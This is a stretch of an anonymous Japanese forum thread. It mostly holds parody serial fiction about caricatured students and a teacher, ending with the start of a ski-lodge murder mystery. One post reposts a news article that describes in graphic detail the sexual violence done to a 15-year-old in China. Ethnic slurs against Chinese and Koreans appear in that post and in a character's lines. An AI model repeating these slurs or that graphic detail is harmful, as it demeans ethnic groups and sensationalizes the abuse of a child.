本を読んでいると『愛国愛国』言いながらある時は引田教授が言うように左翼のフレーム使ったり
ニューアカやポストモダンのフレーム使ったりして軸がぶれているのは何故ですか?」

489 :初夢:2007/01/05(金) 11:58:24 ID:unhi8Qca
林間は詰まった。林間という男は「自分の思想内で完結した言葉」は自由自在に使えるが
他人から突っ込まれると全く何一つ言えなくなるのだ。落ち着いてじーっと遠くを見る。
こういう時は一つのカメラを見ると良いと聞いたことがある。そうしよう。そう思って
あるカメラを見ると、カメラの後からはみ出る見覚えがあるデブの姿がいた。
林間「コヴァ・・・」
おかしい、オレは愛国評論家で売国奴やポチを次々と論破して有名になって・・・でも、コヴァを
知っている・・・。
林間「な、なんでコヴァがいるんだぁぁぁぁぁぁぁぁ」
林間は叫んだ。
××「そろそろネタばらしかなあ」
××「そやなかわいそうやし」
××「しかし、こんな典型的な左翼ごっこなんて院時代もやってないぞオレはw」
××「先生はいいじゃないですか、オレなんてオガワゴムのマスク着けてヲタグローブ
はめて殆どコスプレ状態ですよw」
××「カメコの役でよかったなあw」
××「はいはい、それはいいですから」
まず、引田がヒゲを取り、髪をオールバックからいつもの髪型に戻しメガネをかけた。
担任の見慣れた顔が現れた。次にポチ米が顔の皮を強引に引きはがすと吉田の顔が
現れた。カメラマンはコヴァと鳥坂、女性プロデューサーは免下と月宮、
林間「えっ、どういうことだよ」
ヴァル「こういうことですよ(はぁと」
月宮から投げられた蒸しタオルをヴァルキリーは髪に当てた。
赤毛・・・
要するにヨシダ(上の姉)
林間「うわぁぁぁぁぁぁぁぁぁぁぁぁ、みんなハメやがって嘘つきやがって
かんしゃくおこすぅぅぅ!!1!!かんしゃくおこす!1!!!1」

490 :初夢:2007/01/05(金) 11:59:30 ID:unhi8Qca
チュンチュン
林間「・・・」
ここは小汚い林間の家
林間「夢・・・か」
日付を見ると一月二日
林間「初夢がこんなんかよかんしゃくおこすぅぅぅぅぅ」

新学期
吉田「あー」
コヴァ「どうしたんですかね?」
吉田「初夢で茄子の着ぐるみ着たアレと空を飛ぶファー様と富士山に登る
林間が出てきた・・・・・・」
鳥坂「うわぁ」
そこにやってきたのは
林間「おいっ、吉田っ」
コヴァ「うおぅ、話をすればなんとやらですにょ」
林間「貴様良くもオレのヴァルキリーたんと・・・・くぉのぉ・・・
かんしゃくおこす!11!!11」
林間は吉田を追いかけはじめた
コヴァ「結局今年もこうなんですかね?」
鳥坂「きっとそうやない?」

491 :吉田シゲルの初夢:2007/01/06(土) 12:00:12 ID:bThlWAAV
1月1日夜 栃木県ギョーザ市 吉田家
吉田「さてと、寝るか。今年はどんな初夢を見られるんだろーか」

吉田はよくわからないところに居た。向こうに巨大な茄子が鎮座している。
吉田は怪訝に思い、その茄子に近づいた。
手の届きそうなところまで近づくと、茄子が後ろを向いた。
それは、茄子の着ぐるみを来た肝井だった。肝井の手には広辞苑が握られている。
肝井「うぐぅ、吉田君、あけおめだよもん。吉田君も読む?広辞苑。
これを読んでいるととっても頭がよくなりそうなんだよもん。
ただでさえ頭のいいボクがもっと頭がよくなる…ウットリ、ブヒブヒ」
肝井はだらしなく口からよだれをたらして恍惚の表情をしていた。
吉田「いいよ、つか、広辞苑で読書する奴を生まれて初めて見た。」
肝井「いいから、一緒に読もうよ。いま、「あ」の途中まで読んだんだ。」
吉田「だから、いいって言ってんだろ」
肝井「何だと!!僕は新世界の神なんだぞ!!神の命令は絶対だ!!!
エロゲーオタク兼アニメオタクの下層階級の分際で生意気だぞ!!」
吉田「はぁ、こいつには付き合ってらんねー、逃げよ」
肝井「まてぇ、吉田!!デブデブローリングアターーーーック!!!」
肝井は体を丸め、かなりのスピードで転がりながら吉田を追いかけた。

492 :吉田シゲルの初夢:2007/01/06(土) 12:00:57 ID:bThlWAAV
不思議な事に、吉田は自動車並みのスピードで走り、肝井を撒くことに成功した。
上空で「ゆうこりーん、ゆうこりーん、カプリコ、カプリコ」という泣き声がする。
空を見上げると、鷹の着ぐるみを着た千葉が空を飛んでいた。
千葉も吉田に気付き、地上へ降りてきた。
千葉「銀髪スキー君、明けましておめでとうなのじゃよ。」
吉田「何?その着ぐるみ…」
千葉「千葉財閥が100億万円の金をかけて開発した飛行スーツなのじゃよ。
ま、北関東の未開人の銀髪スキー君にこの飛行スーツの偉大さはわからんじゃろうて。」
吉田「別にわかりたくないよ。」
千葉「なんじゃと!この朝鮮蛮獣が!!わかったような口ききおって!!
日本軍に成り代わって成敗を加えてやるのじゃよ!!」
千葉はどこかから取り出したくちばしのアタッチメントをつけると、吉田をつつき始めた。
吉田「いて!いて!いて!やめろって!おい!」
吉田は再び逃げ始めた。


493 :吉田シゲルの初夢:2007/01/06(土) 12:01:46 ID:bThlWAAV
吉田が我に帰ると、なぜか冬の富士山に居た。不思議な事に寒さを感じなかった。
向こうで泣き叫びながら山を登っているものがいる。吉田はその人物のところへ行った。
それは林間だった。
吉田「林間先生!何で新年早々富士山に登っているんですか!?」
林間「ううう…吉田…実はな、今年、パパンとママンにお年玉をねだったんだが、
断られてな、頭に来たんで親の車を盗んで街を疾走してたら、
ヴァルキリーたんから『富士山の山頂で待っているから、愛を確かめ合おう』
というメールが着たんだ。それで富士山を登ってるんだが、寒くて寒くて…」
吉田「そ、それは大変ですね…」
その時、林間の携帯にメールの着信が入った。林間はそれを見て顔色を変えた。
林間「吉田、ヴァルキリーたんが頂上で温かいスープとパンをこしらえて
暖かい部屋で待っているって言ってるんだ。そうだ!こうしてはいられん!
いぐぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅ!!1!!!1!」
林間はものすごい速さで山を登り始めた。

林間が雪の中に消えるのを見届けた吉田が山を降りようとしたところで夢は終わった。
吉田は実家の自室のベッドで眠っていた。ベッド脇の時計は朝7時を指していた。
吉田「いったいなんだったんだあの夢は…縁起がいいのか悪いのかさっぱりわかんねー…」

494 :名無しかましてよかですか?:2007/01/06(土) 14:14:43 ID:nWBCY/0P
            / .:.:.:.:.:.:.:.:.:.:.:.:.:.:;:;:.:.:.:.:.:.:.:.:.:.:.:.::. 、
          ./  .:.:.:.:.:.:.:.:.:.:.:.:.:.://.:.:.:.:.:.:.:.:.:.:.:.:.:.:.::.ヽ
        ./ /::,′,:::,.:.:.:.:.:.:.:.:.:.//.::ノ:::l:i:.:.:.:.:.:.:.:.:.:.、::.:.`、
        / /:::,′.jl: !.:.:.:.:.:.:.:.:///:::ハlト、::::::::::::.:.:.',.:.:.!:`,
        ,' /::::,′.::ll: !.:.:.:.:.:.:.:./:::/  l:ト、ヽ::::::::::::::l:.:.:!:l:|
        l/:::::::l/:::::l|:::!:::l::; ィ彡∠__,,,,|:! ヾ\:::::::l::::::!:l:|
       l:::::::::::::::::::l:::l::::! .:.ィイ´  ̄ - 、リ   ヾ:::::::l:::://リ
        ',:::::::|::::∩:::!:::! .::ll:1           ``V::,!:// ′
        ',:::::|:::::l |:::|:::| ./ll:|  ー===′  、__,イイ〃    >>493
         ,ハ:|:::::リ:::|:::|/:::lハ          , T:「      ひどいな。 
        l::ト、::ト、::|::::::l::| `        __.. /::j      ボクが今読んでいるのは物理入門シリーズや
        |:′リ ヾ::::::N          ´ ,.イ:::,′     図解電気などの科学啓蒙書
        ′    ハ:::|.   丶、 _, .イ::/l:/       観葉植物の育て方とか、名作映画100選とか
             ,r‐く  ',::|     /   |:/ ,′      小説「それは舞い散る桜のように」とかだよ。
     ,r‐y‐‐y'‐ 、  ̄``ヽ、_∧    ′
    厂, ''⌒ヽ_フX_     __⊥_ \
   ノ/ .::::/  .:::YX_}    ,rくネネ>、. \_
  〃  .::::/  .::::::YX_}  /:/^77。}:;ト、  1Yヘ
  〃  .:::/ .j .:::::(⌒]_}/:/ // 。}:;L/l  1l 〈

495 :名無しかましてよかですか?:2007/01/06(土) 18:34:34 ID:e6wU4X3T
キモい
キモすぎる

496 :名無しかましてよかですか?:2007/01/06(土) 18:39:37 ID:lz7qf/xw
>>495
キモ味も名作映画100選とか読んでいるなら、
「映画板」に逝ってみるといいと思うが?

497 :名無しかましてよかですか?:2007/01/06(土) 18:54:29 ID:s1SAK4uR
>>496
口で言ってるだけだから。

498 :名無しかましてよかですか?:2007/01/06(土) 19:44:18 ID:XlLF16IU
また寄生虫の知ったかかw

499 :名無しかましてよかですか?:2007/01/06(土) 21:05:54 ID:nWBCY/0P
     |      ,.  ' "´ ̄             /
   _ ⊥. '"´                 /
  〈           ,.   - ────く
   ',:::::.:.   ,  '"´.:.:.:.:.:.:.:.:.:.::;i.:.:.:.:.:.:.:.:.:.:.ヽ
   ',::::::,  ".:i.:.:.:.:.:.:.:i .:.:.:.:.:.:.:./:|i::::::::::::::l::i:.:.:.',
    V:.:.:.:.:.:.:.|.:.:.:.:.:.:.l.::::::::;::::/ハ:l:::::::::::.:|::|::.:.:.!
    !:.:.:.:.:.:.:.|::::i::::::::|.:::::/.://  i:l::::::::::: |::!:::::::!
    !::::::::::::::|:i::l::::::::|:フナナ'ー l:トヽく::::l::l:::ハ:|
    ヽ:::::::::::|:l::l::::::::レzr==ミ リ rzトV/l/
     ヽ:::::::::|:|::ト、:::::l ヽトーイソ    ヒ1:::| ′
      ヽ:::::|:|::l:::',::::',   ̄     ,' !:::|  >>496
       \ト、:ト、:';::::',.      _ _ /::::|  それはいい考えですね。でも、連休も終わりだし
         ヽヽ::ト:;::::L_     ,..イ::::::::/  しばらくはレンタル店にいかないですね。
          ,r一ヽヽ::::|  ``7´ヽ:/1::/   クリント・イーストウッドは良いですね。
        ノ     \:::|ー‐介ヽ  l/    「硫黄島からの手紙」が楽しみです
    _∠二ニヽ、.   ':;|  /:ハト、\     結局、ヒッチコック劇場とバトルロワイヤル2を借りました
    厂 , '⌒ヽX、_   /:/i i::ト、 \   
    / /.:.::::::::.:.ヽX_}、 l:/ i i:! l   fヘ
    ヽ/.:.:::::::::::::::.:.ヽX_} l:l  i i」 l   fヘ}

500 :名無しかましてよかですか?:2007/01/06(土) 23:35:41 ID:JWo42Sck
結局どのスレでも嫌われて、荒らしに戻ってくるに1バルキリー


501 :名無しかましてよかですか?:2007/01/09(火) 21:02:14 ID:oDOSrSh2
sage

502 :名無しかましてよかですか?:2007/01/10(水) 10:40:56 ID:E95R7exS
明らかに去年のクリスマススペシャルで笑ウせぇるすまん業界からさえ
ブラックリスト入りしているようなので、闇金ウシジマ君VS三馬鹿を
お願いします。

・・・あいつらなら・・・、あいつらならウシジマさえ呆れてしまうはず・・・

503 :名無しかましてよかですか?:2007/01/13(土) 21:29:58 ID:Zb+Y17WH
sage

504 :名無しかましてよかですか?:2007/01/17(水) 01:41:25 ID:B/1tsaYB
オレの小学校の時のリコーダーは3つに分解できて、名前書くところが真ん中の筒に
あった。ある放課後、誰もいない教室にオレは侵入し、好きな子とオレのリコーダー
の一番上の部分の 「笛 先 を 交 換 し た 」 名前が書いてある場所は
そのままだし気付かないだろうと・・・ そしてその笛をペロペロ楽しんでいたオレ
であったが、交換してから初の音楽の授業に悲劇は起こった。

好きな子「・・苦っ!??あれ・・・??この笛わたしのじゃない!!!」 静まりかえる音楽室
先生「どうしたの??」
好きな子「わたしのはここにも名前を書いていたのに・・・この笛にはないんです!!」
先生に笛を見せる。
ふとオレは笛先の部分の裏を見てみるとちっちゃくその子の名前が書いてあった
その子はクラスでもかなりモテてる子だった事もあり、まわりのDQNも騒ぎだした

「誰かがすりかえたんじゃね?ww」 「うわきもーい」 「こわーい」 ザワザワ・・・

先生「はい、じゃあ今からちょっとみんなの笛を見せて下さああああああああああああああぁああぁあああああああああぁぁあああああああああああああぁあぁああああああぁああぁあああああああああああぁあ

505 :名無しかましてよかですか?:2007/01/19(金) 00:24:34 ID:Mf+nyMVf
国民総サイコパス国家かよw。

シナ・四川省の高級ホテルでリアル「羊たちの沈黙」。政府高官らが女性連続惨殺-怒った1万人が警察と衝突
http://jp.epochtimes.com/jp/2007/01/html/d15952.html

http://jp.epochtimes.com/jp/2007/01/img/m87529.jpg
http://jp.epochtimes.com/jp/2007/01/img/m37220.jpg

 【大紀元日本1月18日】中国四川省大竹県の莱仕徳(ライシーダ)ビジネスホテル(NEST BUSINESS HOTEL)
に勤務していた十代の女性接待係が暴行を受け惨殺された事件で、ホテルと地元行政・警察との癒着関係に
憤りを募らせた民衆がホテル側に対して犯人の追求を迫った。それに対して、当局は武装警察を大量に出動
させ、民衆と衝突した。怒りに燃えた民衆はホテルを放火するものも出て、負傷者が多く出ているとみられる。
情報筋によると、同ホテルが開業して半年も経たない内に、これまでに少女2人が同様の暴行事件で殺され、
今回が3人目の犠牲者であるという。
 四川省の地元ネットサイトの掲示板情報によると、莱仕徳ホテルは半年前に開業した四ツ星のビジネスホテル
で、被害者・楊莉さん(当時15歳)は昨年10月から同ホテルで接待係として勤め始めた167センチの奇麗な少女
だという。

情報筋によると、被害者は昨年12月31日に、政府高官3人を接待したのち、下半身が大量出血し、死亡時
には、ひどく殴打されたことで歯は数本も折れ、舌は噛み千切られ、乳首は切断され、下半身は爛れてい
たという。
ネットサイトの情報によると、被害者は県病院へ運ばれたが、その病院は封鎖されたという。

一方、ホテル側は少女はアルコール中毒で死亡したとし、外部に対して明確な発表はない。
これに対して、被害者側家族とそれに同情した民衆が、ホテル側に対して犯人を追求し続け半月が経っても
何の回答も得られなかったという。ホテル前には数千人に上る民衆が12日から連日集結していた。ホテル側は
ことを大きくしないように、50万元(約770万円)で和解しようと試みたが、被害者側の家族に拒否された。


506 :小ネタ:2007/01/19(金) 11:31:26 ID:ygL/UeqW
原作 http://2ch.pop.tc/log/06/09/19/2209/1158507834.html
   www.youtube.com/watch?v=St4xtqo5PPo

いつもの海武学園
キモ「ブシャブシャブシャ、国崎センセー」
担任「なんだ、・・・用がないならカエレ」
キモ「これ見て〜www.youtube.com/watch?v=St4xtqo5PPo 」
担任「ん?なんだこれは。高校のバンド発表・・・ハッ」
担任は映像を見てあることに気づいた。何か見覚えがある・・・
この体育館、この雰囲気・・・

      母 校 じ ゃ ん

キモ「と言うことで仲良くなろ〜、映画見に行こう〜、バンドくも〜」
担任「・・・キモ井・・・(グゴゴゴゴゴゴゴゴゴ」
キモ「ん?ナーニ?」
担任「ヒトの足元見るなぁぁぁぁぁぁぁぁぁぁぁ」
キモ「ハッ、これは蒼い巨人!?」

コヴァ「先生、やりすぎですにょ」
鳥坂「しっかし、なんで嬉しそうなんやろ。アイツ」
吉田「構って貰えたからだろ」

507 :名無しかましてよかですか?:2007/01/19(金) 16:58:54 ID:i+GJYhjk
http://p.pita.st/?r4xgcr3e

508 :コヴァいたちの夜・特別篇:2007/01/21(日) 18:23:23 ID:CCMQYAMq
注:本作は1年前に掲載した「コヴァいたちの夜」のパラレル作品です。
その為、登場人物などが一部重複したり、展開も重複する部分がありますが、ご容赦ください。

林間「いぐうぅぅぅぅぅぅぅ!!11!」
ゲレンデに林間の奇声がこだまする。
1月20日、コヴァは信州のスキー場に吉田、鳥坂と三大デンパの6人でスキーに来ていた。

前年12月20日、放課後
千葉「ミコスキー君、銀髪スキー君、アニメスキー君、何見ているのかの?
おや、これはスキー場の案内ではないかの?スキーは貴族のスポーツなのじゃよ。
ぜひ、わしも連れて行って欲しいのじゃよ」
肝井「あ、このスキー場は…ねー、木場君、うちの叔父さんのペンションに泊まる気ない?」
吉田「えー、キモ味の叔父さんー?なんか嫌だなー」
コヴァ「吉田君、キモいのの家はキモいの以外はみんな常識人ですにょ。
ご安心くださいにょ。で、キモいの、その叔父さんのペンションはどこにありましゅか?
いくらで泊めてくれましゅか?ボクチンらはスキー場のロッジに泊まる予定だったから、
せめてスキー場のから近くてボクチンらが泊まる予定だった
ロッジの宿泊価格6800円より安くないとだめでしゅよ。」
肝井「それだったら、今年の盆に長野に帰ったときに、お前の友達だったら3000円引きで
泊めてやるって言ってくれたから。叔父さんとこの宿泊費も6800円だから、
3800円で泊まれるね。で、場所なんだけど、地図見せてくれる?」
肝井は、スキー場から5キロ離れた場所にボールペンで印をつけた。
吉田「うーん、ここ、バスとか通ってないじゃん。安いのはいいんだけどさ」
林間「ふっふっふ、俺の出番が来たようだな。レンタカーでも借りて
俺が運転すればすむ話だ。さぁ、吉田、今まで俺を馬鹿にしたことを詫びろ!1!
詫びないと俺はついてこないぞ!11!さぁ、謝罪しろ!1!!」
肝井「たぶん、叔父さんがスキー場まで送迎してくれるだろうから心配要らないよ。
それにこの季節なら良ちゃんが週末バイトしてるだろうし」
鳥坂「良ちゃん?」
肝井「ボクの従兄弟だよもん。おじさんが多忙の場合、
連れて行ってくれるかもしれないよ。」
林間「肝井ーーーー!!!11!余計な情報を流すなかんしゃくおこす!111!!」

509 :コヴァいたちの夜・特別篇:2007/01/21(日) 18:25:34 ID:CCMQYAMq
雪まみれの林間の横を、吉田、鳥坂、肝井の三人が笑いながら通り過ぎていく。
林間「くっそー、あいつら…」
コヴァ「林間先生そこどいてくださいにょおおおおおお!!!!!!」
上から雪だるまになったコヴァが転がり落ちてきた。二人は正面衝突、
絡まりあったまま20メートルほど転がり落ちた。
林間「コヴァの大馬鹿野郎!!!1!突っ込むなら俺以外の人間に突っ込め!!1!
何で俺ばっかりこんな目にあうんだかんしゃくおこす!!11!」
コヴァ「林間先生ごめんですにょ。おや?千葉隊長は滑らないんでしゅか?」
千葉「スキーは朝鮮玉入れしか娯楽の無い僻地貧民のスポーツなのじゃよ。
戯れにやってみたけど、改めて唾棄すべきものと思い知ったのじゃよ」
コヴァ「貴族のスポーツと言っていたのはどこの誰でしゅか…まったく」
ジバクはうまく滑れない事に腹を立て、早々とスキーを止めて雪だるまを製作していた。
肝井「みんなー、五時だよー、あと三十分で叔父さんが迎えにくるから、そろそろやめよー」

林間は着替えの最中、怒りをあらわにして愚痴っていた。
林間「スキーなんてどこが面白いんだ!!1!!女の子と仲良くなれないし!1!!
オーストラリアから金髪のお姉ちゃんがいっぱい来てるって聞いたのに!!1!!」
吉田(オーストラリア人が詰め掛けてるのは北海道のニセコだろ…)
6人を乗せた車はここから5キロの所にある
キモ味の叔父が経営するペンションへ向けて出発した。
スキー場を出発した頃は晴れていた空はペンションに着いた頃には雪が降り始めていた。
6人を乗せた車は六時前、ペンション「シュプールKIMOI」に到着した。
中に入ると、洋平の奥さんが出迎えた。彼女は肝井明日香という。
明日香「あっちゃん、お久しぶり。お正月以来ね。その人たちがあっちゃんの学校の…」
肝井「うん、クラスメートの木場君と、吉田君と、鳥坂君と、
千葉君と政経の林間先生だよもん」
6人は2階の客室に荷物を置き、は7時の夕食まで自由ということにした。

510 :コヴァいたちの夜・特別篇:2007/01/21(日) 18:28:25 ID:CCMQYAMq
ペンションは1階がキッチンに談話室を兼ねたロビー、食堂、肝井夫妻の部屋、
従業員用の部屋2つ、2階がダブル6室とトリプル2室の8室の客室という構成になっていた。
ちなみに今回の旅の彼らの部屋割りは以下の通りである。

7号室 吉田 鳥坂 コヴァ
8号室 千葉 肝井 林間

つい、ちょっと前まで平穏だった外はすっかり吹雪になっていた。
吉田、鳥坂、コヴァの三人は談話室に降りて食事までテレビを見ることにした。
一方、三大デンパの部屋ではそれぞれが好きな事をして遊んでいた。
そして七時、夕食の時間になった。夕食の献立はポタージュスープ、
舌平目の白ワイン蒸し、ミニステーキなどなど。
全員「いっただっきまーす」
食事はどれも美味しく、レストランとしてもやっていけそうな味だった。

ズズズズズズズズズズズズ

そんな中、音を立てながらスープを飲むものがいた。そう、ファー様である。
肝井「ねぇ、千葉君、スープって音を立てずに飲むのが上品なんじゃなかったっけ」
千葉「な、何を言っておるか!それは僻地に住む貧民の作法なのじゃよ!!!
わしのような都心部に住む神に選ばれし都会民は自然のままに音を立てて飲むのが
上品とされておるのじゃよ!!な、何じゃその目は…本当なのじゃよーー!!
信じて欲しいのじゃよーーー!!!」

511 :コヴァいたちの夜・特別篇:2007/01/21(日) 18:31:02 ID:CCMQYAMq
夕食の時間が終わり、談話室で6人はくつろぐ事にした。
吉田たちはほかの宿泊客とトランプをして楽しみ、
ファー様はテレビにかじりつき、「恋愛できない中年男たち」という特集を見ながら、
「わしは2次元で抜くから関係ないのじゃよ」「10代20代でセクロスする
ヤリチンヤリマンバカどもは問答無用で処刑すればいいのじゃよ」
「それよりもわしにジャイアントカプリコの安定供給の開始を…」などとブツブツ呟き、
肝井はエヴァのDVDや鍵のパッケージを並べて、土下座しながら
「キモオタが一人残らず死にますように」と願い事を言いながら拝み、
林間は洋平から出されたビールを飲みながら、ヴァルキリー似の脳内彼女と
脳内温泉旅行をしてくつろぎのひと時をすごした。

階段の壁に設けられた鳩時計が午後十一時を告げた。
吉田「さて、寝るか」
鳥坂「ふぁ〜あっ、そうやな」
談話室にはコヴァ一行以外の人はすでに自室に戻っていた。
コヴァたちは自室に戻ると、ベッドに横になって眠りについた。

それから何時間が過ぎただろうか、コヴァたちは一階からの絶叫で目を覚ました。
吉田が先陣を切って廊下に出た。向かいの部屋からも、林間らが姿を現した。
ほかの部屋からも宿泊客が顔を覗かせる。すると、一階から洋平が青ざめた顔で現れた。
肝井「どうしたの叔父さん」
洋平「準子さんが…うちのスタッフが殺されているんだ…!」
宿泊客の一人の男がわめきだした。
男「嘘だ!母さんが、母さんが殺されたなんて嘘だ!」
男は現場に一直線に走っていった。
                                          (続く)

512 :コヴァいたちの夜・特別篇:2007/01/23(火) 17:52:26 ID:eUYnZXnq
10分後、殺された女性を除く宿泊客全員が談話室に集合した。
時計は午前2時50分を指していた。落ち着きを取り戻した洋平が説明を始めた。
洋平「皆様、つい10分ちょっと前に私どものペンションの従業員、風間準子さんが
廊下で何者かに殺害されたのを発見いたしました。第一発見者は私です。」
吉田「ところで、さっき降りていった人は?」
洋平「殺された風間さんの一人息子の仁一君です。風間さんは仁一君が生まれてから
彼が大学に進学するまでの18年間親一人、子一人でがんばってきて…
息子が親の手を離れたからという事でこのペンションで住み込みで働きはじめて…
それが何でこんな事に…ううっ…」
洋平は無念さに涙を流していた。
仁一が戻ってきた。彼の目は真っ赤だった。

肝井「叔父さん、ところで…これからどうするの?そうだ!警察!」
洋平「駄目だ。電話線が切れているのか、通じないんだ。こんな事は一度も無かったのに…」
コヴァ「携帯電話は駄目でしゅか?」
洋平「無理だ。この辺はどこの会社も圏外になるんだよ。
朝まで待って明るくなってから何とかしてみるしかない…
そこで、私から第二の事件を防ぐために二つ提案があります。
一つは朝までご自分の部屋に戻って朝まで外に出ないという方法、
もう一つはこの談話室で朝までみんな一緒に過ごすという方法です。
犯人が外部の人間ではない限り、第二の事件発生は高確率で防げると思います。」
多数決の結果、朝まで自室で過ごすという事になった。
洋平「お休みの際は、お部屋の鍵をかけてベッドをドアに寄せて厳重に戸締りをして
お休みください。お部屋を出られるときは、朝食の準備ができる午前八時までお待ちください。」
吉田「そうだ、皆さん、自己紹介をしませんか。このペンションに泊まっている人で
素性のわからない人がいると不安だと思うんです。ちょっとでも不安を軽減するために
自己紹介をしようと思うんですが…」
洋平「うむ、そうしよう。みなさん、よろしいですか?」
反対者はいなかった。

513 :コヴァいたちの夜・特別篇:2007/01/23(火) 17:55:00 ID:eUYnZXnq
洋平「それでは、僭越ながら私が…私はこのペンション「シュプールKIMOI」のオーナー
肝井洋平、44歳です。そしてこちらが私の妻、明日香、42歳です。」
良平「僕はオーナーの甥の肝井良平です。20歳で、長野国立大学に在籍しています。」
洋平「そしてうちのもう一人のスタッフだったのが、被害者の風間準子さん、42歳。
彼女はうちの妻の短大時代からの親友です。…仁一君、自己紹介できるかい」
仁一「…風間仁一です。19歳、東京の電通大学に通っています。」
吉田「吉田繁です。17歳、東京の海武学園高等部の2年生です」
鳥坂「鳥坂明です。17歳、同じく海武高校の2年生です。」
コヴァ「木場ヒロシです。17歳、吉田君、鳥坂君と同じ海武高校の2年です。」
千葉「わしは千葉ヒサユキなのじゃよ。永遠の17歳なのじゃよ。
気に入らんが、江古田とかいう僻地にある海武学園に通ってやっているのじゃよ。」
肝井「うぐぅ、ボクは良平君と同じオーナーの甥の肝井味平だよもん。
良平君とはいとこ同士だよ。みんなと同じで海武学園高等部の2年生だもん、
年は17歳だよもん。趣味は神に祝福されし鍵…」
吉田がいきなり肝井の口を押さえながら言った。
吉田「長くなるからその辺にしとけ」
続いて林間が自己紹介を始めた。
林間「私は海武学園で教鞭をとって指導している林間カヅフサだ。政治経済を講義している。」
肝井「非常勤講師だけどね」
林間「そういうことを言うなかんしゃくおこす!!11!!」
つづいて紳士然とした男が自己紹介をした。
御剣「私は御剣平助です。年は47歳、御剣工業という中小企業の社長をしています。」
オーナーの肝井君は私の元部下で、その縁で毎年ここにスキー旅行に来ています。
で、彼女が妻の多喜子です。39歳。夫の私の目から見てとってもすばらしい女性だと思う」
続いて筋骨隆々といった体格の夫と誰の目から見ても魅力的なプロポーションの妻
――現実の女性に興味の無い千葉や肝井の目から見ても――が自己紹介をした。
赤羽「私は赤羽慎一郎といいます。職業は自衛官です。こっちは妻の理恵。年齢は共に25歳。」

514 :コヴァいたちの夜・特別篇:2007/01/23(火) 17:57:46 ID:eUYnZXnq
次に、大人めの女性が自己紹介を始めた。
長門「私は長門玲子といいます。この夏まで長期休暇中、このペンションで働いていました。
長野国立大学の学生で、年は21歳です。」
肝井「長門!?うぐぅ、リアル長門さんだぁ〜。ねぇ、眼鏡かけて
エヴァの綾波っぽくしてみて!!そしてあらん限りの罵声でボクを罵って!!」
長門「えっ、何、こいつ、キモい…」
良平「おい、味平、玲子さんに変な事するんじゃねー」
肝井「うにゅ…良ちゃんだって「玲子さん」って言っちゃって、なれなれしいじゃん…」
良平「玲子さんは俺と付き合ってんの。ね。」
長門は恥ずかしそうにこくりと頷いた。
肝井「キモオタの良ちゃんのくせに生意気だるいvひrghれghrpぐいれふw(ry」
続いて活発な性格の青年二人が自己紹介を始めた。
山本「僕は山本三十六といいます。和田大学の6年生です。25歳です。
今年ようやく卒業できそうなのでこのペンションにスキーしに来ました。」
衣笠「僕は衣笠光一です。山本君とは同郷です。25歳で、関西の同志スターリン大学の
大学院生です。この春卒業するので、同じく卒業を控えた山本君と一緒に来ました。」
最後に一人の男が自己紹介をした。
三島「私は三島和也です。年は42歳、ある企業を経営する父の手伝いをしています。」
洋平「さて、自己紹介も終わったようですね。それでは、ごゆっくりお休みください。」
コヴァたちは部屋に戻り、ベッドの一つをドアに寄せるとベッドにもぐりこみ、
この嫌な事件の記憶をちょっとでも薄めようと眠りについた。

翌朝、いろんな部屋から聞こえる物音で、ドアに寄せたベッドで寝ていた吉田は目を覚ました。
奥のベッドのコヴァと鳥坂はすでに起きていた。
鳥坂「おはよ」
コヴァ「おはようですにょ。吉田君、寝られましたか?」
吉田「寝られるわけないじゃないか…昨日ほとんど寝てないぞ。あー眠い、今何時?」
鳥坂「八時ちょっと前や。そろそろメシやな」
コヴァ「そうでしゅね、何となくパンか何かが焼けるいいにおいがしますにょ。
それにしても、外、すごい吹雪でしゅね。今日帰れないかも…」
何者かが二階に上がってきた。その人物がドアをノックした。
良平「良平です!お食事の準備ができましたので、下にお降りください。」

515 :コヴァいたちの夜・特別篇:2007/01/23(火) 18:00:34 ID:eUYnZXnq
コヴァたちはベッドの位置を元に戻し、着替えを済ませて下に降りた。
三島、山本、衣笠、御剣夫妻はすでに食堂に来ていた。
テーブルには、あつあつのベーコンエッグ、焼きたてのロールパン、
新鮮な野菜サラダが並べられていた。
コヴァたちは席に着くと、食事を食べ始めた。こんな状況ではあるが、
美味しい食事はちょっとだけ、みんなの心をやわらげてくれた。
三馬鹿も食堂に入ってきた。みんなよく寝たというか、すっきりした顔だ。
こんな顔しているのはこの三人だけだ。ほかの宿泊客はみんな眠たそうである。
吉田「…昨日寝れたの?」
林間「ああ、十分に熟睡できたが、何か?」
吉田(あんな事件があったってのに熟睡できたなんて、どういう神経してるんだ…)
全員が食事を始めると、洋平が説明を始めた。
洋平「皆様、おはようございます。このペンションの現状の説明をさせていただきます。
電話回線のほうですが、朝になっても復旧しておりませんでした。
ですので、朝食後、ペンションの周りの電話線の状況を見てこようと思います。
また、テレビやラジオからの情報によると、この付近一帯は今日中の間、
吹雪が荒れ狂うとの事で、お帰りになるのはやめておいたほうがよいかと思います。
なお、今晩の宿泊費に関してはお詫びとして無料とさせていただきます。」

吉田「そういえば、風間さんの亡骸は…」
洋平「ああ、警察の人たちには悪いが、風間さんの遺体は、彼女の部屋に連れて行って
ベッドに寝かしたよ。廊下の血も拭き取らせてもらった。
遺体が腐らないように風間さんの部屋だけ暖房を切って何個かの空のスチロール箱に
雪を詰めて部屋において風間さんの遺体を冷やしている。」
食事が終わったあと、洋平と良平は電話線の状況を見に外に出た。
肝井は見えないのを承知で窓から二人の様子をずっと眺めていた。
それから10分、二人が戻ってきた。

516 :コヴァいたちの夜・特別篇:2007/01/23(火) 18:03:44 ID:eUYnZXnq
洋平「電話線が切れていた!いや、切られていた!」
吉田「何者かに…ですか?雪の重みとかじゃなくて?」
洋平「ああ、あと、切られたケーブルに血みたいなものがついていた。」
吉田(…となると、この事件、突発的な犯行の可能性がある…
三馬鹿はともかく、みんなどう見ても、冷酷な殺人鬼には見えないし、
計画殺人ならまず電話線を切っておくよな…)
洋平「兎に角、電話線の修復は可能だ。明日香、工具を取ってきてくれ」
仁一「だったら俺も行きます!一応大学の関係でそういうのには少々は詳しいですし」
洋平「すまん、仁一君」
仁一は玄関横の乾燥室から防寒具を取り出して着込むと、工具を持った洋平たちと一緒に外に出た。
横殴りの猛吹雪の中を進むのは大変なものであった。1メートル進むのにもかなり時間が掛かる。
洋平「ここだ、仁一君」
仁一は切れた電話線のところに案内された。なるほど、刃物で切られたように
電話線がスッパリと切れている。それどころか、断面には血のようなものがついていた。
仁一は早速修復作業にかかった。

仁一たちが戻ってきたのはそれから30分ほど経ってからだった。
洋平「明日香!電話が通じるか試してくれ!!」
